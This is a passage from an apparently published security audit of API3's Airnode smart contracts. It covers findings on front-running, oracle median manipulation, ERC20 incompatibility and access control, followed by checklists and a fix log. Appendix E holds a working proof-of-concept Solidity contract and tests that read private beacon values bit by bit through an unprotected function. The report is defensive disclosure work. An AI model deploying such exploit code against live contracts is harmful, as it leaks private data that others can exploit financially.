s Short term, use abi.encode instead of abi.encodePacked . Long term, carefully review the Solidity documentation , particularly the “Warning” sections regarding the pitfalls of abi.encodePacked . T r a i l o f B i t s 16 API3 Security Assessment P U B L I C 2 . S o l i d i t y c o m p i l e r o p t i m i z a t i o n s c a n b e p r o b l e m a t i c Severity: Informational Difficulty: Low Type: Undefined Behavior Finding ID: TOB-API-2 Target: airnode-protocol-v1/hardhat.config.ts D e s c r i p t i o n The API3 contracts have enabled optional compiler optimizations in Solidity. There have been several optimization bugs with security implications. Moreover, optimizations are actively being developed . Solidity compiler optimizations are disabled by default, and it is unclear how many contracts in the wild actually use them. Therefore, it is unclear how well they are being tested and exercised. High-severity security issues due to optimization bugs have occurred in the past . A high-severity bug in the emscripten -generated solc-js compiler used by Truffle and Remix persisted until late 2018. The fix for this bug was not reported in the Solidity CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results was patched in Solidity 0.5.6 . More recently, another bug due to the incorrect caching of keccak256 was reported. A compiler audit of Solidity from November 2018 concluded that the optional optimizations may not be safe . It is likely that there are latent bugs related to optimization and that new bugs will be introduced due to future optimizations. E x p l o i t S c e n a r i o A latent or future bug in Solidity compiler optimizations—or in the Emscripten transpilation to solc-js —causes a security vulnerability in the API3 contracts. R e c o m m e n d a t i o n s Short term, measure the gas savings from optimizations and carefully weigh them against the possibility of an optimization-related bug. Long term, monitor the development and adoption of Solidity compiler optimizations to assess their maturity. T r a i l o f B i t s 17 API3 Security Assessment P U B L I C 3 . D e c i s i o n s t o o p t o u t o f a m o n e t i z a t i o n s c h e m e a r e i r r e v e r s i b l e Severity: Medium Difficulty: Low Type: Undefined Behavior Finding ID: TOB-API-3 Target: airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitel isterWithToken.sol D e s c r i p t i o n The API3 protocol implements two on-chain monetization schemes. If an Airnode owner decides to opt out of a scheme, the Airnode will not receive additional token payments or deposits (depending on the scheme). Although the documentation states that Airnodes can opt back in to a scheme, the current implementation does not allow it. /// @notice If the Airnode is participating in the scheme implemented by /// the contract: /// Inactive: The Airnode is not participating, but can be made to /// participate by a mantainer /// Active: The Airnode is participating /// OptedOut: The Airnode actively opted out, and cannot be made to /// participate unless this is reverted by the Airnode mapping(address => AirnodeParticipationStatus) public override airnodeToParticipationStatus; Figure 3.1: RequesterAuthorizerWhitelisterWithToken.sol#L59-L68 /// @notice Sets Airnode participation status /// @param airnode Airnode address /// @param airnodeParticipationStatus Airnode participation status function setAirnodeParticipationStatus( address airnode, AirnodeParticipationStatus airnodeParticipationStatus ) external override onlyNonZeroAirnode(airnode) { if (msg.sender == airnode) { require( airnodeParticipationStatus == AirnodeParticipationStatus.OptedOut, "Airnode can only opt out" ); } else { T r a i l o f B i t s 18 API3 Security Assessment P U B L I C [...] Figure 3.2: RequesterAuthorizerWhitelisterWithToken.sol#L229-L242 E x p l o i t S c e n a r i o Bob, an Airnode owner, decides to temporarily opt out of a scheme, believing that he will be able to opt back in; however, he later learns that that is not possible and that his Airnode will be unable to accept any new requesters. R e c o m m e n d a t i o n s Short term, adjust the setAirnodeParticipationStatus function to allow Airnodes that have opted out of a scheme to opt back in. Long term, write extensive unit tests that cover all of the expected pre- and postconditions. Unit tests could have uncovered this issue. T r a i l o f B i t s 19 API3 Security Assessment P U B L I C 4 . D e p o s i t o r s c a n f r o n t - r u n r e q u e s t - b l o c k i n g t r a n s a c t i o n s Severity: Medium Difficulty: High Type: Timing Finding ID: TOB-API-4 Target: airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitel isterWithToken.sol , RequesterAuthorizerWhitelisterWithTokenDeposit.sol D e s c r i p t i o n A depositor can front-run a request-blocking transaction and withdraw his or her deposit. The RequesterAuthorizerWhitelisterWithTokenDeposit contract enables a user to indefinitely whitelist a requester by depositing tokens on behalf of the requester. A manager or an address with the blocker role can call setRequesterBlockStatus or setRequesterBlockStatusForAirnode with the address of a requester to block that user from submitting requests; as a result, any user who deposited tokens to whitelist the requester will be blocked from withdrawing the deposit. However, because one can execute a withdrawal immediately, a depositor could monitor the transactions and call withdrawTokens to front-run a blocking transaction. E x p l o i t S c e n a r i o Eve deposits tokens to whitelist a requester. Because the requester then uses the system maliciously, the manager blacklists the requester, believing that the deposited tokens will be seized. However, Eve front-runs the transaction and withdraws the tokens. R e c o m m e n d a t i o n s Short term, implement a two-step withdrawal process in which a depositor has to express his or her intention to withdraw a deposit and the funds are then unlocked after a waiting period. Long term, analyze all possible front-running risks in the system. T r a i l o f B i t s 20 API3 Security Assessment P U B L I C 5 . I n c o m p a t i b i l i t y w i t h n o n - s t a n d a r d E R C 2 0 t o k e n s Severity: Low Difficulty: Medium Type: Data Validation Finding ID: TOB-API-5 Target: airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitel isterWithTokenDeposit.sol , RequesterAuthorizerWhitelisterWithTokenPayment.sol D e s c r i p t i o n The RequesterAuthorizerWhitelisterWithTokenPayment and RequesterAuthorizerWhitelisterWithTokenDeposit contracts are meant to work with any ERC20 token. However, several high-profile ERC20 tokens do not correctly implement the ERC20 standard. These include USDT, BNB, and OMG, all of which have a large market cap. The ERC20 standard defines two transfer functions, among others: ● transfer(address _to, uint256 _value) public returns (bool success) ● transferFrom(address _from, address _to, uint256 _value) public returns (bool success) These high-profile ERC20 tokens do not return a boolean when at least one of the two functions is executed. As of Solidity 0.4.22, the size of return data from external calls is checked. As a result, any call to the transfer or transferFrom function of an ERC20 token with an incorrect return value will fail. E x p l o i t S c e n a r i o Bob deploys the RequesterAuthorizerWhitelisterWithTokenPayment contract with USDT as the token. Alice wants to pay for a requester to be whitelisted and calls payTokens , but the transferFrom call fails. As a result, the contract is unusable. R e c o m m e n d a t i o n s Short term, consider using the OpenZeppelin SafeERC20 library or adding explicit support for ERC20 tokens with incorrect return values. Long term, adhere to the token integration best practices outlined in appendix C . T r a i l o f B i t s 21 API3 Security Assessment P U B L I C 6 . C o m p r o m i s e o f a s i n g l e o r a c l e e n a b l e s l i m i t e d c o n t r o l o f t h e d A P I v a l u e Severity: High Difficulty: High Type: Data Validation Finding ID: TOB-API-6 Target: airnode-protocol-v1/contracts/dapis/DapiServer.sol D e s c r i p t i o n By compromising only one oracle, an attacker could gain control of the median price of a dAPI and set it to a value within a certain range. The dAPI value is the median of all values provided by the oracles. If the number of oracles is odd (i.e., the median is the value in the center of the ordered list of values), an attacker could skew the median, setting it to a value between the lowest and highest values submitted by the oracles. E x p l o i t S c e n a r i o There are three available oracles: O 0 , with a price of 603; O 1 , with a price of 598; and O 2 , which has been compromised by Eve. Eve is able to set the median price to any value in the range [598 , 603] . Eve can then turn a profit by adjusting the rate when buying and selling assets. R e c o m m e n d a t i o n s Short term, be mindful of the fact that there is no simple fix for this issue; regardless, we recommend implementing off-chain monitoring of the DapiServer contracts to detect any suspicious activity. Long term, assume that an attacker may be able to compromise some of the oracles. To mitigate a partial compromise, ensure that dAPI value computations are robust. T r a i l o f B i t s 22 API3 Security Assessment P U B L I C 7 . P r o j e c t d e p e n d e n c i e s c o n t a i n v u l n e r a b i l i t i e s Severity: Undetermined Difficulty: Undetermined Type: Patching Finding ID: TOB-API-7 Target: packages/ D e s c r i p t i o n The execution of yarn audit identified dependencies with known vulnerabilities. Due to the sensitivity of the deployment code and its environment, it is important to ensure dependencies are not malicious. Problems with dependencies in the JavaScript community could have a significant effect on the repositories under review. The output below details these issues. CVE ID Description Dependency CVE-2022-0536 Exposure of Sensitive Information to an Unauthorized Actor follow-redirects CVE-2021-23555 Sandbox bypass vm2 Figure 7.1: Advisories affecting the packages/ dependencies E x p l o i t S c e n a r i o Alice installs the dependencies of the in-scope repository on a clean machine. Unbeknownst to Alice, a dependency of the project has become malicious or exploitable. Alice subsequently uses the dependency, disclosing sensitive information to an unknown actor. R e c o m m e n d a t i o n s Short term, ensure dependencies are up to date. Several node modules have been documented as malicious because they execute malicious code when installing dependencies to projects. Keep modules current and verify their integrity after installation. Long term, consider integrating automated dependency auditing into the development workflow. If a dependency cannot be updated when a vulnerability is disclosed, ensure that the codebase does not use and is not affected by the vulnerable functionality of the dependency. T r a i l o f B i t s 23 API3 Security Assessment P U B L I C 8 . D a p i S e r v e r b e a c o n d a t a i s a c c e s s i b l e t o a l l u s e r s Severity: Low Difficulty: High Type: Access Controls Finding ID: TOB-API-8 Target: airnode-protocol-v1/contracts/dapis/DapiServer.sol D e s c r i p t i o n The lack of access controls on the conditionPspDapiUpdate function could allow an attacker to read private data on-chain. The dataPoints[] mapping contains private data that is supposed to be accessible on-chain only by whitelisted users. However, any user can call conditionPspDapiUpdate , which returns a boolean that depends on arithmetic over dataPoint : /// @notice Returns if the respective dAPI needs to be updated based on the /// condition parameters /// @dev This method does not allow the caller to indirectly read a dAPI, /// which is why it does not require the sender to be a void signer with /// zero address. [...] function conditionPspDapiUpdate( bytes32 subscriptionId, // solhint-disable-line no-unused-vars bytes calldata data, bytes calldata conditionParameters ) external override returns (bool) { bytes32 dapiId = keccak256(data); int224 currentDapiValue = dataPoints[dapiId].value; require( dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))), "Data length not correct" ); return calculateUpdateInPercentage( currentDapiValue, dataPoints[dapiId].value ) >= decodeConditionParameters(conditionParameters); } Figure 8.1: dapis/DapiServer.sol:L468-L502 An attacker could abuse this function to deduce one bit of data per call (to determine, for example, whether a user’s account should be liquidated). An attacker could also automate the process of accessing one bit of data to extract a larger amount of information by using T r a i l o f B i t s 24 API3 Security Assessment P U B L I C a mechanism such as a dichotomic search. An attacker could therefore infer the value of dataPoin t directly on-chain. E x p l o i t S c e n a r i o Eve, who is not whitelisted, wants to read a beacon value to determine whether a certain user’s account should be liquidated. Using the code provided in appendix E , she is able to confirm that the beacon value is greater than or equal to a certain threshold. R e c o m m e n d a t i o n s Short term, implement access controls to limit who can call conditionPspDapiUpdate . Long term, document all read and write operations related to dataPoint , and highlight their access controls. Additionally, consider implementing an off-chain monitoring system to detect any suspicious activity. T r a i l o f B i t s 25 API3 Security Assessment P U B L I C 9 . M i s l e a d i n g f u n c t i o n n a m e Severity: Informational Difficulty: Low Type: Undefined Behavior Finding ID: TOB-API-9 Target: airnode-protocol-v1/contracts/dapis/DapiServer.sol D e s c r i p t i o n The conditionPspDapiUpdate function always updates the dataPoints storage variable (by calling updateDapiWithBeacons ), even if the function returns false (i.e., the condition for updating the variable is not met). This contradicts the code comment and the behavior implied by the function’s name. /// @notice Returns if the respective dAPI needs to be updated based on the /// condition parameters [...] function conditionPspDapiUpdate( bytes32 subscriptionId, // solhint-disable-line no-unused-vars bytes calldata data, bytes calldata conditionParameters ) external override returns (bool) { bytes32 dapiId = keccak256(data); int224 currentDapiValue = dataPoints[dapiId].value; require( dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))), "Data length not correct" ); return calculateUpdateInPercentage( currentDapiValue, dataPoints[dapiId].value ) >= decodeConditionParameters(conditionParameters); } Figure 9.1: dapis/DapiServer.sol#L468-L502 R e c o m m e n d a t i o n s Short term, revise the documentation to inform users that a call to conditionPspDapiUpdate will update the dAPI even if the function returns false . Alternatively, develop a function similar to updateDapiWithBeacons that returns the updated value without actually updating it. Long term, ensure that functions’ names reflect the implementation. T r a i l o f B i t s 26 API3 Security Assessment P U B L I C S u m m a r y o f R e c o m m e n d a t i o n s The API3 smart contracts represent a new iteration of the protocol. Trail of Bits recommends that API3 address the findings detailed in this report and take the following additional step prior to deployment: ● Write updated documentation on the expected behavior of all functions in the system. T r a i l o f B i t s 27 API3 Security Assessment P U B L I C A . V u l n e r a b i l i t y C a t e g o r i e s The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document. Vulnerability Categories Category Description Access Controls Insufficient authorization or assessment of rights Auditing and Logging Insufficient auditing of actions or logging of problems Authentication Improper identification of users Configuration Misconfigured servers, devices, or software components Cryptography A breach of system confidentiality or integrity Data Exposure Exposure of sensitive information Data Validation Improper reliance on the structure or values of data Denial of Service A system failure with an availability impact Error Reporting Insecure or insufficient reporting of error conditions Patching Use of an outdated software package or library Session Management Improper identification of authenticated users Testing Insufficient test methodology or test coverage Timing Race conditions or other order-of-operations flaws Undefined Behavior Undefined behavior triggered within the system T r a i l o f B i t s 28 API3 Security Assessment P U B L I C Severity Levels Severity Description Informational The issue does not pose an immediate risk but is relevant to security best practices. Undetermined The extent of the risk was not determined during this engagement. Low The risk is small or is not one the client has indicated is important. Medium User information is at risk; exploitation could pose reputational, legal, or moderate financial risks. High The flaw could affect numerous users and have serious reputational, legal, or financial implications. Difficulty Levels Difficulty Description Undetermined The difficulty of exploitation was not determined during this engagement. Low The flaw is well known; public tools for its exploitation exist or can be scripted. Medium An attacker must write an exploit or will need in-depth knowledge of the system. High An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue. T r a i l o f B i t s 29 API3 Security Assessment P U B L I C B . C o d e M a t u r i t y C a t e g o r i e s The following tables describe the code maturity categories and rating criteria used in this document. Code Maturity Categories Category Description Arithmetic The proper use of mathematical operations and semantics Auditing The use of event auditing and logging to support monitoring Authentication / Access Controls The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system Complexity Management The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions Decentralization The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades Documentation The presence of comprehensive and readable codebase documentation Front-Running Resistance The system’s resistance to front-running attacks Low-Level Manipulation The justified use of inline assembly and low-level calls Testing and Verification The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage T r a i l o f B i t s 30 API3 Security Assessment P U B L I C Rating Criteria Rating Description Strong No issues were found, and the system exceeds industry standards. Satisfactory Minor issues were found, but the system is compliant with best practices. Moderate Some issues that may affect system safety were found. Weak Many issues that affect system safety were found. Missing A required component is missing, significantly affecting system safety. Not Applicable The category is not applicable to this review. Not Considered The category was not considered in this review. Further Investigation Required Further investigation is required to reach a meaningful conclusion. T r a i l o f B i t s 31 API3 Security Assessment P U B L I C C . T o k e n I n t e g r a t i o n C h e c k l i s t The following checklist provides recommendations for interactions with arbitrary tokens. Every unchecked item should be justified, and its associated risks, understood. For an up-to-date version of the checklist, see crytic/building-secure-contracts . For convenience, all Slither utilities can be run directly on a token address, such as the following: slither-check-erc 0xdac17f958d2ee523a2206206994597c13d831ec7 TetherToken --erc erc20 slither-check-erc 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d KittyCore --erc erc721 To follow this checklist, use the below output from Slither for the token: slither-check-erc [target] [contractName] [optional: --erc ERC_NUMBER] slither [target] --print human-summary slither [target] --print contract-summary slither-prop . --contract ContractName # requires configuration, and use of Echidna and Manticore G e n e r a l C o n s i d e r a t i o n s ❏ The contract has a security review. Avoid interacting with contracts that lack a security review. Check the length of the assessment (i.e., the level of effort), the reputation of the security firm, and the number and severity of the findings. ❏ You have contacted the developers. You may need to alert their team to an incident. Look for appropriate contacts on blockchain-security-contacts . ❏ They have a security mailing list for critical announcements. Their team should advise users (like you!) when critical issues are found or when upgrades occur. C o n t r a c t C o m p o s i t i o n ❏ The contract avoids unnecessary complexity. The token should be a simple contract; a token with complex code requires a higher standard of review. Use Slither’s human-summary printer to identify complex code. ❏ The contract uses SafeMath . Contracts that do not use SafeMath require a higher standard of review. Inspect the contract by hand for SafeMath usage. ❏ The contract has only a few non-token-related functions. Non-token-related functions increase the likelihood of an issue in the contract. Use Slither’s contract-summary printer to broadly review the code used in the contract. T r a i l o f B i t s 32 API3 Security Assessment P U B L I C ❏ The token has only one address. Tokens with multiple entry points for balance updates can break internal bookkeeping based on the address (e.g., balances[token_address][msg.sender] may not reflect the actual balance). O w n e r P r i v i l e g e s ❏ The token is not upgradeable. Upgradeable contracts may change their rules over time. Use Slither’s human-summary printer to determine whether the contract is upgradeable. ❏ The owner has limited minting capabilities. Malicious or compromised owners can abuse minting capabilities. Use Slither’s human-summary printer to review minting capabilities, and consider manually reviewing the code. ❏ The token is not pausable. Malicious or compromised owners can trap contracts relying on pausable tokens. Identify pausable code by hand. ❏ The owner cannot blacklist the contract. Malicious or compromised owners can trap contracts relying on tokens with a blacklist. Identify blacklisting features by hand. ❏ The team behind the token is known and can be held responsible for abuse. Contracts with anonymous development teams or teams that reside in legal shelters require a higher standard of review. E R C 2 0 T o k e n s E R C 2 0 C o n f o r m i t y C h e c k s Slither includes a utility, slither-check-erc , that reviews the conformance of a token to many related ERC standards. Use slither-check-erc to review the following: ❏ Transfer and transferFrom return a boolean. Several tokens do not return a boolean on these functions. As a result, their calls in the contract might fail. ❏ The name , decimals , and symbol functions are present if used. These functions are optional in the ERC20 standard and may not be present. ❏ Decimals returns a uint8 . Several tokens incorrectly return a uint256 . In such cases, ensure that the value returned is below 255. ❏ The token mitigates the known ERC20 race condition . The ERC20 standard has a known ERC20 race condition that must be mitigated to prevent attackers from stealing tokens. Slither includes a utility, slither-prop , that generates unit tests and security properties that can discover many common ERC flaws. Use slither-prop to review the following: T r a i l o f B i t s 33 API3 Security Assessment P U B L I C ❏ The contract passes all unit tests and security properties from slither-prop . Run the generated unit tests and then check the properties with Echidna and Manticore . R i s k s o f E R C 2 0 E x t e n s i o n s The behavior of certain contracts may differ from the original ERC specification. Conduct a manual review of the following conditions: ❏ The token is not an ERC777 token and has no external function call in transfer or transferFrom . External calls in the transfer functions can lead to reentrancies. ❏ Transfer and transferFrom should not take a fee. Deflationary tokens can lead to unexpected behavior. ❏ Potential interest earned from the token is taken into account. Some tokens distribute interest to token holders. This interest may be trapped in the contract if not taken into account. T o k e n S c a r c i t y Reviews of token scarcity issues must be executed manually. Check for the following conditions: ❏ The supply is owned by more than a few users. If a few users own most of the tokens, they can influence operations based on the tokens’ repartition. ❏ The total supply is sufficient. Tokens with a low total supply can be easily manipulated. ❏ The tokens are located in more than a few exchanges. If all the tokens are in one exchange, a compromise of the exchange could compromise the contract relying on the token. ❏ Users understand the risks associated with a large amount of funds or flash loans. Contracts relying on the token balance must account for attackers with a large amount of funds or attacks executed through flash loans. ❏ The token does not allow flash minting. Flash minting can lead to substantial swings in the balance and the total supply, which necessitate strict and comprehensive overflow checks in the operation of the token. T r a i l o f B i t s 34 API3 Security Assessment P U B L I C D . C o d e Q u a l i t y R e c o m m e n d a t i o n s The following recommendations are not associated with specific vulnerabilities. However, they enhance code readability and may prevent the introduction of vulnerabilities in the future. General Recommendations ● To reduce gas costs, make variables immutable whenever possible. bytes32 public registrarRole; [...] constructor( address _accessControlRegistry, string memory _adminRoleDescription, address _manager ) AccessControlRegistryAdminnedWithManager( _accessControlRegistry, _adminRoleDescription, _manager ) { registrarRole = _deriveRole(adminRole, REGISTRAR_ROLE_DESCRIPTION); } Figure D.1: utils/RegistryRolesWithManager.sol:L17 ● To improve readability, use abstract contracts for contracts that should not be deployed. ● Improve the NatSpec comments. Certain comments misrepresent the implementation. /// @dev If the `templateId` is zero, the fulfillment will be made with /// `parameters` being used as fulfillment data [...] function makeRequest( address airnode, bytes32 templateId, bytes calldata parameters, address sponsor, bytes4 fulfillFunctionId ) external override returns ( bytes32 requestId) { require (airnode != address (0), "Airnode address zero"); require (templateId != bytes32 (0), "Template ID zero"); Figure D.2: protocol/AirnodeProtocol.sol:L39-L56 AddressRegistry.sol T r a i l o f B i t s 35 API3 Security Assessment P U B L I C ● Remove the onlyRegistrarOrManager modifier from _registerAddress . The _registerAddress function is called only from registerChainRequesterAuthorizer , which is already protected by the onlyRegistrarOrManager modifier. function _registerAddress( bytes32 id, address address_) internal onlyRegistrarOrManager Figure D.3: utils/AddressRegistry.sol:L45-L47 function registerChainRequesterAuthorizer( uint256 chainId, address requesterAuthorizer ) external override onlyRegistrarOrManager { [...] _registerAddress( keccak256 ( abi .encodePacked(chainId)), requesterAuthorizer ); Figure D.4: monetization/RequesterAuthorizerRegistry.sol:L29-L39 AccessControlRegistry.sol ● Replace the deprecated _setupRole function with _grantRole . function initializeManager( address manager) public override { require (manager != address (0), "Manager address zero"); bytes32 rootRole = deriveRootRole(manager); if (!hasRole(rootRole, manager)) { _setupRole (rootRole, manager); emit InitializedManager(rootRole, manager); } } Figure D.5: access-control-registry/AccessControlRegistry.sol:L31-L38 Sort.sol ● Remove the require(...) check. The sort function is called by median only if the array’s length is less than MAX_SORT_LENGTH . uint256 internal constant MAX_SORT_LENGTH = 9; function sort( int256 [] memory array) internal pure { uint256 arrayLength = array.length; require (arrayLength <= MAX_SORT_LENGTH, "Array too long to sort"); Figure D.6: dapis/Sort.sol:L8-L14 function median( int256 [] memory array) internal pure returns ( int256 ) { T r a i l o f B i t s 36 API3 Security Assessment P U B L I C uint256 arrayLength = array.length; if (arrayLength <= MAX_SORT_LENGTH) { sort(array); Figure D.7: dapis/Median.sol:L16-L18 T r a i l o f B i t s 37 API3 Security Assessment P U B L I C E . P r o o f - o f - C o n c e p t E x p l o i t This appendix provides a proof-of-concept exploit for the issue detailed in TOB-API-8 , along with a step-by-step explanation of the exploit methodology. Consider the function conditionPspDapiUpdate . function conditionPspDapiUpdate( bytes32 subscriptionId, // solhint-disable-line no-unused-vars bytes calldata data, bytes calldata conditionParameters ) external override returns (bool) { Figure E.1: dapis/DapiServer.sol:L470-L474 One of the three arguments expected by conditionPspDapiUpdate , the subscriptionId argument, is ignored. The data argument holds the ABI-encoded representation of an array of beaconId s. Lastly, conditionParameters simply contains an encoded numeric value. A beaconId can be used as a key to access a beacon stored in the dataPoints[] mapping. A beacon is a value (e.g., the price of an asset) provided by a single Airnode endpoint. Similarly, a dapiId can be used as a key to access a dAPI stored in the dataPoints[] mapping. A dAPI is the median of a set of beacons. The system computes a dapiId by hashing the encoded version of its constituent beaconId s. bytes32 dapiId = keccak256(data); int224 currentDapiValue = dataPoints[dapiId].value; Figure E.2: dapis/DapiServer.sol:L475-L476 When a new dAPI is updated, the previous value of that dAPI is saved in a local variable. Unused dapiId s point to a zero-value dAPI / beacon. If data contains a previously unseen list of beaconId s, the generated dapiId will point to a zero-value dAPI / beacon. This proof-of-concept exploit concerns a similar situation. require( dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))), "Data length not correct" ); Figure E.3: dapis/DapiServer.sol:L477-L480 The dapiId generated from the list of beaconId s provided through data will most likely point to a previously unused dAPI. A user interested in the value pointed to by BEACONID_TARGET could send [ BEACONID_TARGET , BEACONID_TARGET ] encoded as data T r a i l o f B i t s 38 API3 Security Assessment P U B L I C to conditionPspDapiUpdate . This would update a previously unused dAPI to point to the median of a list of beacons, namely the slot containing BEACONID_TARGET . return calculateUpdateInPercentage( currentDapiValue, dataPoints[dapiId].value ) >= decodeConditionParameters(conditionParameters); } Figure E.4: dapis/DapiServer.sol:L481-L486 The calculateUpdateInPercentage function calculates the difference between the new dAPI and zero; calculateUpdateInPercentage determines only the magnitude of the difference, so the sign of the original beacon is lost. The value is also multiplied by HUNDRED_PERCENT . The caller of conditionPspDapiUpdate can control the value of conditionParameters and can therefore gain a bit of information about the beacon through the following equation: BEACON * HUNDRED_PERCENT >= THRESHOLD By carefully repeating this process, a user could read a beacon value in the range [0, 2**224/HUNDRED_PERCENT] . Note that because this exploit would change the contract state, sending the exact same list of beacons twice would not produce the same result. The code in figure F.5 shows a contract through which one could execute this proof-of-concept exploit. This implementation assumes that there is an unused dataPoint[] . Also note that an active off-chain monitor could front-run each exploit attempt, making the attack more expensive or blocking its execution. contract HackDapiServer{ event BeaconIsGreaterOrEqualThan(bytes32, int); event BeaconIsLessThan(bytes32, int); event BeaconIs(bytes32, int); event Search(uint, uint, uint); mapping(bytes32 => uint) last; IDapiServer dapi; //The target dapiServer constructor(IDapiServer _dapi){ dapi=_dapi; require(dapi.HUNDRED_PERCENT() == 1e8, "Meh"); } /* Returns true if the dapi.dataPoint[beaconId] value is greater or equal than the threshold Caveats and limitations: 1- This implementation can not connect multiple HackDapiServer to the same dapiServer 2- Can not determine the beacon value sign. 3- HUNDRED_PERCENT other than 1e8 is not supported 4- Can not exfiltrate data about beacon values greater than MAX/HUNDRED_PERCENT T r a i l o f B i t s 39 API3 Security Assessment P U B L I C 5- timestamp can not be exfiltrated with this method 6- An active off-chain monitor can disable it until reset 1,2,3 can be fixed */ function isBeaconGreaterOrEqualThan(bytes32 beaconId, int224 threshold) public returns (bool result){ require(threshold > 0, "Negative threshold not supported"); bytes32[] memory beaconIds = new bytes32[](4); beaconIds[0] = beaconId; beaconIds[1] = beaconId; beaconIds[2] = beaconId; beaconIds[3] = keccak256(abi.encodePacked(beaconId, blockhash(0), last[beaconId])); last[beaconId]+=1; bytes memory beaconIdsEnc = abi.encode(beaconIds); result = dapi.conditionPspDapiUpdate(0, beaconIdsEnc, abi.encode(1e8 * threshold)); if (result){ emit BeaconIsGreaterOrEqualThan(beaconId, threshold); }else{ emit BeaconIsLessThan(beaconId, threshold); } } /* Basic dichotomic search to divinate the value of certain beacon Note that this will find values in the range[1, int224.max/1e8] */ function readBeacon(bytes32 beaconId) public returns (uint result){ uint candidate; uint low = 0; //calculateUpdateInPercentage makes absolute values uint high = uint(uint224(type(int224).max/1e8)); //Conversion will fit positive number while (high > low + 1){ candidate = low + (high - low) / 2; emit Search(low, candidate, high); if(isBeaconGreaterOrEqualThan(beaconId, int224(int256(candidate)))){ low = candidate; }else{ high = candidate; } } result = low; emit BeaconIs(beaconId, int(result)); } } Figure E.5: A contract that could be used in this proof-of-concept exploit describe('Extra ToB tests', function () { it('Exfiltrate condition on-chain via Hack contract', async function () { const hackDapiServerFactory = await hre.ethers.getContractFactory('HackDapiServer', roles.deployer); let hackDapiServer = await hackDapiServerFactory.deploy(dapiServer.address); let SECRET = 6; T r a i l o f B i t s 40 API3 Security Assessment P U B L I C let timestamp = await testUtils.getCurrentTimestamp(hre.ethers.provider)+1; await setBeacon(templateId, SECRET, timestamp); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 45000)) .to.emit(hackDapiServer, 'BeaconIsLessThan') .withArgs(beaconId, 45000); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 5)) .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan') .withArgs(beaconId, 5); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 6)) .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan') .withArgs(beaconId, 6); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 7)) .to.emit(hackDapiServer, 'BeaconIsLessThan') .withArgs(beaconId, 7); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 6)) .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan') .withArgs(beaconId, 6); }); it('Exfiltrate/Read value on-chain via Hack contract', async function () { const hackDapiServerFactory = await hre.ethers.getContractFactory('HackDapiServer', roles.deployer); let hackDapiServer = await hackDapiServerFactory.deploy(dapiServer.address); let timestamp = await testUtils.getCurrentTimestamp(hre.ethers.provider)+1; let SECRET = 708627767408; await setBeacon(templateId, SECRET, timestamp); await expect(await hackDapiServer.readBeacon(beaconId)) .to.emit(hackDapiServer, 'BeaconIs') .withArgs(beaconId, SECRET); for (let ind = 0; ind < 5; ind++) { let val = ethers.BigNumber.from(ethers.utils.randomBytes(20)); timestamp += 10; await setBeacon(templateId, val, timestamp); await expect(await hackDapiServer.readBeacon(beaconId)) .to.emit(hackDapiServer, 'BeaconIs') .withArgs(beaconId, val); } }); }); Figure E.6: Test code for the proof of concept T r a i l o f B i t s 41 API3 Security Assessment P U B L I C F . F i x L o g On March 25, 2022, Trail of Bits reviewed the fixes and mitigations implemented by the API3 team for issues identified in this report. The API3 team fixed seven of the issues reported in the original assessment and did not fix the other two. We reviewed each of the fixes to ensure that the proposed remediation would be effective. For additional information, please refer to the Detailed Fix Log. ID Title Severity Fix Status 1 Publish-subscribe protocol users are vulnerable to a denial of service High Fixed ( PR 904 ) 2 Solidity compiler optimizations can be problematic Informational Not fixed 3 Decisions to opt out of a monetization scheme are irreversible Medium Fixed ( PR 924 ) 4 Depositors can front-run request-blocking transactions Medium Fixed ( PR 926 ) 5 Incompatibility with non-standard ERC20 tokens Low Fixed ( PR 927 ) 6 Compromise of a single oracle enables limited control of the dAPI value High Not fixed 7 Project dependencies contain vulnerabilities Undetermined Fixed 8 DapiServer beacon data is accessible to all users Low Fixed ( PR 954 ) 9 Misleading function name Informational Fixed ( PR 952 ) T r a i l o f B i t s 42 API3 Security Assessment P U B L I C D e t a i l e d F i x L o g TOB-API-1: Publish-subscribe protocol users are vulnerable to a denial of service Fixed. The API3 team fixed the issue by replacing abi.encodePacked with abi.encode . TOB-API-2: S o l i d i t y c o m p i l e r o p t i m i z a t i o n s c a n b e p r o b l e m a t i c Not fixed. The API3 team responded to this finding as follows: “Considering the tradeoffs, we prefer to keep the optimizations enabled.” TOB-API-3: Decisions to opt out of a monetization scheme are irreversible Fixed. An Airnode can now change its status to OptedOut or Inactive regardless of its current status. TOB-API-4: Depositors can front-run request-blocking transactions Fixed. A maintainer or manager can now set a withdrawal waiting period of up to 30 days; however, this option is disabled by default. TOB-API-5: Incompatibility with non-standard ERC20 tokens Fixed. The contracts now use the SafeERC20 library for interactions with ERC20 tokens. TOB-API-6: Compromise of a single oracle enables limited control of the dAPI value Not fixed. The API3 team responded to this finding as follows: DapiServer uses median as the method for aggregating oracle responses. Median is used over other aggregation methods when robustness is preferred over accuracy, which is helpful because it minimizes the statistical assumptions you need to make about your oracle responses. The usage of median typically has two implications: a. We are doing a categorical kind of aggregation with the assumptions that: ● There are two kinds of answers: Honest and Dishonest ● Any Honest answer is acceptable ● 50%+ of the answers are Honest b. Data type is continuous, meaning that if oracle response A and oracle response B are acceptable, so is any number between A and B An oracle being able to vary the outcome between two Honest reports is intended behavior. There would only be an issue if they were able to manipulate the outcome to be smaller than the smallest Honest response or larger than the largest 